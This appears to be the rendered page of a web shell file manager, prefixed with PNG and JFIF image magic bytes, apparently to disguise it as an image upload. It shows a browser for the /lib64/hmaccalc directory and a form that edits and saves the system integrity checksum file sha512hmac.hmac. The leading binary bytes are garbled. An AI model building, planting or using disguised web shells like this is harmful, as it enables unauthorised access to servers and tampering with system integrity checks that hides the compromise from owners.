�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Flib64%2F'>lib64</a>/<a href='?path=%2Flib64%2Fhmaccalc%2F'>hmaccalc</a>/</p><hr><h3>✏️ Editing: sha512hmac.hmac</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>ef08e0128d3cc73d805b6fba11df5609c1365170983e58f661e4055554d23168baffa1d8ed162382a64486834776e77a172ed904bb9f2b6d7d5e02fc6bbeea3a
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Flib64%2Fhmaccalc'>🔙 Back</a></p>